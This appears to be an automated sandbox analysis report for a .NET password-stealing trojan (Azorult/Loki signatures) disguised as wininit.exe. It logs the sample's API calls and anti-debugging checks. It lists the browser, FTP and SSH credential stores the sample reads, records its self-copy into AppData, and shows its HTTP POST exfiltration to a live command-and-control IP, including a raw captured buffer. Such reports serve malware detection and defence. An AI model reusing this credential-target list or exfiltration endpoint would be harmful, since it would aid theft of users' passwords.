popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

wininit.exe

Generic Malware Admin Tool (Sysinternals etc ...) UPX Socket DNS PWS AntiDebug PE File PE32 .NET EXE AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 July 14, 2021, 9:25 a.m. July 14, 2021, 9:40 a.m.
Size 856.5KB
Type PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
MD5 7b68b43f14bff45ad706488b5b3e8414
SHA256 5bb1ec5f6be562ca2beec31d45c6cce4b811283b225e3f2654dbfbe5cc8f07de
CRC32 9F6EAB5E
ssdeep 12288:Kd4aaGfu0EKaZk18HBgtOqML5N2LxV03yAq8dLLgkbY4s0AvQZO/oXXN5GnTOdUA:JCa1BgtOhL5AQCAlLhbY48QZcoIi
Yara
  • Win32_Trojan_PWS_Net_1_Zero - Win32 Trojan PWS .NET Azorult
  • IsPE32 - (no description)
  • PE_Header_Zero - PE File Signature
  • Generic_Malware_Zero - Generic Malware
  • Is_DotNET_EXE - (no description)
  • UPX_Zero - UPX packed file
  • Admin_Tool_IN_Zero - Admin Tool Sysinternals

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
185.227.139.18 Active Moloch

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00459b78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00459b78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x00459b78
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

__exception__

 stacktrace: 
CopyPDBs+0x1b552 DllCanUnloadNowInternal-0x25a85 clr+0x1b1194 @ 0x74231194
LogHelp_TerminateOnAssert+0x14061 GetPrivateContextsPerfCounters-0x53e1 clr+0x82ba1 @ 0x74102ba1
mscorlib+0x2f45b0 @ 0x727f45b0
mscorlib+0x2f46fc @ 0x727f46fc
mscorlib+0x2f4688 @ 0x727f4688
0x662d5f
0x660af5
0x6609c9
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x74082652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7409264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x74092e95
CoUninitializeEE+0x789b CreateAssemblyNameObject-0x63ba clr+0x270df @ 0x740a70df
LogHelp_TerminateOnAssert+0x55ee GetPrivateContextsPerfCounters-0x13e54 clr+0x7412e @ 0x740f412e
mscorlib+0x2f1c22 @ 0x727f1c22
mscorlib+0x2f1b99 @ 0x727f1b99
mscorlib+0x30e9a6 @ 0x7280e9a6
0x66073f
0x6604b9
0x6603cd
microsoft+0x129ed1 @ 0x73e69ed1
microsoft+0x12ad86 @ 0x73e6ad86
microsoft+0x12b191 @ 0x73e6b191
0x6600bd
DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x74082652
DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7409264f
DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x74092e95
DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x741474ec
DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x74147610
CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x741d1dc4
CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x741d1e67
CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x741d1f7a
_CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x741d416a
_CorExeMain+0x71 GetFileVersion-0x293a mscoreei+0xf5a3 @ 0x7472f5a3
CreateConfigStream+0x13f GetProcessExecutableHeap-0xad6 mscoree+0x7f16 @ 0x749b7f16
_CorExeMain+0x8 CreateConfigStream-0x2ff4 mscoree+0x4de3 @ 0x749b4de3
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5

exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b
exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727
exception.instruction: leave
exception.module: KERNELBASE.dll
exception.exception_code: 0xe0434f4e
exception.offset: 46887
exception.address: 0x75f4b727
registers.esp: 3924976
registers.edi: 0
registers.eax: 3924976
registers.ebp: 3925056
registers.edx: 0
registers.ebx: 4872104
registers.esi: 4415504
registers.ecx: 3828849166
1 0 0

__exception__

 stacktrace: 
wininit+0x12fdd @ 0x412fdd
wininit+0x1296e @ 0x41296e
BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x75b333ca
RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77799ed2
RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77799ea5

exception.instruction_r: 8a 0a 88 0c 17 42 4e 75 f7 5f 5e 5d c3 55 8b ec
exception.symbol: wininit+0x2b41
exception.instruction: mov cl, byte ptr [edx]
exception.module: wininit.exe
exception.exception_code: 0xc0000005
exception.offset: 11073
exception.address: 0x402b41
registers.esp: 50264368
registers.edi: 40961470
registers.eax: 50266144
registers.ebp: 50264376
registers.edx: 9355264
registers.ebx: 50266144
registers.esi: 1007241120
registers.ecx: 49
1 0 0
suspicious_features POST method with no referer header, HTTP version 1.0 used, Connection to IP address suspicious_request POST http://185.227.139.18/dsaicosaicasdi.php/S4wFP8QBww9Tp
request POST http://185.227.139.18/dsaicosaicasdi.php/S4wFP8QBww9Tp
request POST http://185.227.139.18/dsaicosaicasdi.php/S4wFP8QBww9Tp
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 1048576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00510000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x005d0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74081000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x74082000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 720896
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00610000
allocation_type: 8192 (MEM_RESERVE)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00680000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00512000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00545000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0054b000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00547000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0052c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00660000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0051a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0053a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00537000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0052a000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 327680
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef50000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef58000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 65536
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 1056768 (MEM_RESERVE|MEM_TOP_DOWN)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x7ef40000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00536000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 8192
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00661000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2472
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x02252000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00663000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0051c000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00664000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0052d000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x0052e000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00665000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 24576
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00666000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bf0000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 20480
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bf1000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bf6000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bf7000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bf8000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2472
region_size: 4096
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x04bf9000
allocation_type: 4096 (MEM_COMMIT)
process_handle: 0xffffffff
1 0 0
Time & API Arguments Status Return Repeated

GetDiskFreeSpaceW

 number_of_free_clusters: 3064082
sectors_per_cluster: 8
bytes_per_sector: 512
root_path: \
total_number_of_clusters: 8362495
1 1 0

GetDiskFreeSpaceW

 number_of_free_clusters: 3064082
sectors_per_cluster: 8
bytes_per_sector: 512
root_path: \
total_number_of_clusters: 8362495
1 1 0
file C:\Users\test22\AppData\Local\Google\Chrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Web Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\User Data\Default\Login Data
file C:\Users\test22\AppData\Roaming\Opera\Opera Next\data\Login Data
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Chromium\User Data\Default\Login Data
file C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Default\Login Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\MapleStudio\ChromePlus\User Data\Default\Login Data
file C:\Users\test22\AppData\LocalMapleStudio\ChromePlus\Login Data
file C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\Nichrome\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Login Data
file C:\Users\test22\AppData\Local\RockMelt\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Web Data
file C:\Users\test22\AppData\Local\Yandex\YandexBrowser\User Data\Default\Login Data
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\SeaMonkey
registry HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox
Time & API Arguments Status Return Repeated

MoveFileWithProgressW

 newfilepath_r: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe
flags: 1
oldfilepath_r: C:\Users\test22\AppData\Local\Temp\wininit.exe
newfilepath: C:\Users\test22\AppData\Roaming\41D896\6D6F4D.exe
oldfilepath: C:\Users\test22\AppData\Local\Temp\wininit.exe
1 1 0
section {u'size_of_data': u'0x000bbc00', u'virtual_address': u'0x00002000', u'entropy': 7.307559872707403, u'name': u'.text', u'virtual_size': u'0x000bba44'} entropy 7.30755987271 description A section with a high entropy has been found
entropy 0.877336448598 description Overall entropy of this PE file is high
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
url http://www.ibsensoftware.com/
description Communications use DNS rule Network_DNS
description Communications over RAW Socket rule Network_TCP_Socket
description Win32 PWS Loki rule Win32_PWS_Loki_Zero
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
host 185.227.139.18
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2900
region_size: 663552
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000250
1 0 0
file C:\Program Files (x86)\FTPGetter\Profile\servers.xml
file C:\Users\test22\AppData\Roaming\FTPGetter\servers.xml
file C:\Users\test22\AppData\Roaming\Estsoft\ALFTP\ESTdb2.dat
file C:\Users\test22\AppData\Roaming\GHISLER\wcx_ftp.ini
file C:\Users\test22\AppData\Roaming\wcx_ftp.ini
file C:\Windows\wcx_ftp.ini
file C:\Users\test22\wcx_ftp.ini
file C:\Windows\32BitFtp.ini
file C:\Users\test22\AppData\Roaming\FileZilla\sitemanager.xml
file C:\Program Files (x86)\FileZilla\Filezilla.xml
file C:\Users\test22\AppData\Roaming\FileZilla\recentservers.xml
file C:\Users\test22\AppData\Roaming\FileZilla\filezilla.xml
registry HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts
registry HKEY_CURRENT_USER\Software\Ghisler\Total Commander
registry HKEY_CURRENT_USER\Software\VanDyke\SecureFX
registry HKEY_CURRENT_USER\Software\LinasFTP\Site Manager
registry HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings
registry HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions
registry HKEY_LOCAL_MACHINE\Software\SimonTatham\PuTTY\Sessions
registry HKEY_CURRENT_USER\Software\Martin Prikryl
registry HKEY_LOCAL_MACHINE\Software\Martin Prikryl
file C:\Users\test22\AppData\Roaming\.purple\accounts.xml
Time & API Arguments Status Return Repeated

connect

 ip_address: 185.227.139.18
socket: 428
port: 80
1 0 0

send

 buffer: POST /dsaicosaicasdi.php/S4wFP8QBww9Tp HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.227.139.18 Accept: */* Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 66C34C30 Content-Length: 3718 Connection: close
socket: 428
sent: 260
1 260 0

send

 buffer: 'ckav.ru test22TEST22-PCtest22-PCkô/086627BC41D896D6F4DE8430FFtDFmÌ !ᘠè/ƒŸ@ Moz8il¼aUser×P>®fðnc? ?DOÜNÝTÞEI »H«SóFËLê.ˆ¾¹fŽyouámakeðchìnogr¦toöiÍf°ž*w¨Ø apãëãc·¾‡onÌ=rwuñÿ*`,GÐ@?¢w¯¬b oQvŠó—×t6 E¿2x:sœ‹)ToC·JÅp-Èõvøluú,¦¦ÙpkiŠr:2”-¸odify†tNða¨aUIü(ì.rg«“b lt:cØËgFJ‚brÒwE+);¡©F²t†Cw·ÙKnu‰A.j;@$|r«“µ .X!_!¤("SÑ.ÿµdÒ4ÞØ|ofmÔr(d"³ý!#ãCÎ.å³sÊU †Tim{õ-bùck·€Þ¯Þé';óÌ;r›16043}594S¿GMó7Ä;›HÒrAŸ- “gýÏõ;Pt!29ÞHr¢I§$-}¶Ž¬ÄpoÇ8éºEñëNT¦£ PwyM_3ushdµ y5ZLå@Éj8Ó!UÐ95ó³xAvð !nu½TY H½M ÐP£8¤oH^¤3Dÿç2·8<tCê0æ9÷Ø4EßæzU«{¿ÈÌL &lªgfŸ s1òn(Q. F”X˜gøk÷ém4MtY_ÕØq52)387TÍp˜fyc78â4¢«3I“jºyHum_ÒF,QÅ1;9Qf—wüPÒ \RiÙê ^ÚÌ6c®mÎÒt¼ó¹Oçù›Æ˜247ó!ƒ¦‡:df~»0½185uxc\fu672T"Oùšg£C0Í+FŠ.7Ã-mÌÇN]a¥ê‰èé#¶úgJM© t‡U҅^m'¦1홈"¿H*pRÔdagéV]¦diUHµz-YÞ+J:/4eýbÕ,z’&½ºè)BA˜D/SeÇýê5~9uiÙÏ,sÊÅ3m&5vÊlDz:L.©oj=i&“·ÌòdEϊh?ÓKA@S.ubsu*PsAé¦N+”VŠ²1·KÇND1…Ÿ–T$ìË;¿_¼z‘SÉxt<{Ãp‚ ThP<(ID9idBˆžð-¨s@ž­e. gEÖIbz,kŸk¥kCÉuÓ+08RÉbÓ6ScÛæY+32-RCÚArtýwx\«´¶nô/AGxÊ66ԂÑaêgóÜò*© 3BšApSBdŽdIW3©0 1w9ñ!ŽÉ8þ¿;©>Îa78.4É0^3ÍP Ñf ¤m§8qpe S®O%r‘Òs3Îô-3sâSEL^z f{\¸¦EÃ:1,O #s{}k|YwñbK8u÷zd¦NÔ4\5a( M@¥"¤'Œ&bûÏ·ÏûDdÁ2€Kf80w5x-õ×Ç_6¯9_ädcÃX×/]6|ýí L”“Òr#G98‹3 1a-Ùf,zcֆ•˜5 a7ã÷mª06¢˜G8goóil€æXW.G™†4Aü3cqܽ‚éÂeËÜ÷oò‡ßÏ:¶¯agŽ¥g>DH¿ 70fvËoˆ’Yˆa½hÒ¿g{eŽÞa葊DÂ~ȼ-kçOI“ ôb† 4e?6 Ia4b¥/<d{°,‚ØI` um­Hhýfb2€Ëd0°ƒH¬æUöC{³7v0îc“wik)‰HOa>J62äêÂBb-fFf‚›œˆc’72(´aƒÉ68Ê5ÕJöbKâÌAEt8`CMâ7„Ëeƒõ8v†£æ¾šf5š6¯ªƒ'ÔAÒ13Yß 0n“mXf3Éd g55eTh”ä"Üñ%…ÞB¿Ùê3LEÅi‹f ÜdQÞ£¾sp­)˜DuMC©s²…2qx ãyUrÏåj:“ lûdÕj9“[E¾rn.9Žs¾¯+ëBñß°øbÐ2¯GßÐ:ïFߐ9ïFߑ9ýÙ7mYZ-ü…ÔH5]£Ïh4]£Êh4ÔþiLz†­1“ *´mË 2´9È 1´9Å1ÅvaEÝbl(½7¥)R<¼…1z»…0zº0gx.cÛ8h-Óu>bdr¸Cq1°HiyBâJY·\@È¢/‰åì….0xŒ4`;>Ý-ǁð6.1ä7ê0ã½ 385Kwfefï-d2Ÿá¡>^‚@jp7iêGs)s25XdiÅct˜ß(„idÈDéïÕæJÞ·27¡Qi0 l¾Dmz™"q¬shíÜÿ‡n-US‚koEEJùRØÆ÷iE‘™ý 2mðg.pu¾IXes-ÝÑ_f=ßkP6m;Ì~bÓa\ºckµ×?6ϐ)12z ˜jŠ11/$H¬9Ð 1t7«<2ÈNhݪ;ΉæT\.7Ñnâ2=©®Key‹øÐ'æé+ rȑhßSÝbz"•AjçiŽþöÂUsEûåå1øŸÞ‡smtÚ1OR³K¾íi‚‰_ð-ßP<s‘»VŒšÞ®ú´w»©© ,S?wÍ¡4֕‰jËæyž¬5”_mšg'$bäx¸m;n`dy@L‘'%20FL*)/A3<«"]ú^lºhsMl×é5XÅafiôQD1Ž.YŠsZmL` kÉm̘R0@¨f˜>‡—ÑS¡wU܍’ÒCPŠNtØË(BoUµH¢¿DÓËèT¸tJpÅ].óžtU{ѐ¢ÒQ@"HB<©nsår"-ëÑnÛzeTo)… yk),np¤ã_ÜoedÞC:\oK§ž„q2Ò°D—Œ>Rwo̯gT•–œËPyu°cg8t\0267(ý-ÛÌ0ΚÌ4NË"¯~m\hÊ[Q D]3~]o•7MÞ§ÕB«‹^1orå0SÝì+hº"™Õc,µ–§Y´_6n²&Ë,ŒU¡» ÇãÑp'>¯G|S<© 15­¸MÑÑ|é­C1ô£jC-12 …íy?¼æ ±— t>šÐÚ¼/§Nøho¢ÐÔ¿è=§&TF.¶Í'ìQ2èl 99Ò<­u개인€í´ë!”tnBx÷D0.—Á<mAc“<TÿŸ©¯Æµ¹©^…›ÒÖU¿Ë„ûìbkÊÆiž|/ts«#Ëb&\k•y;1\®[2PB0¹§ÀFÒB6©oE†nCüqŠSšFTé»Ír6<›3W¬kM¢-©‘–/±)/E|›!H4_&÷2Ù¤{%ðkH£.)Ø"–ü­MHJ_¦¿õ2é ¡1¼NִϪ¸2‡8úóh¤ cs$kDšÇCõi±Ò9½Šhow°§•2ÖÞ!54ñWî·2ª-œOþtuÎ}d¾Õy3K'—„ýýå’TtRtkD\7ª½òg7loJ©F½['K249CôË6©f-ob¿¨Óµ‰? 5÷1ŽÛñ7bÏÏE"/\‰i&xNžhW"?ù3€J&ú78_Í×à£d¢2K½[dÈ H¤•’!]çcÃfp·»k.»gÍk¸ quoúhiP-ïëè0¯Sr=*h}CÛ© 2uooׄÇçwi:Û5Z;=3xg $æÒûÒVa¼ò¾ÃC#F‹0B6í 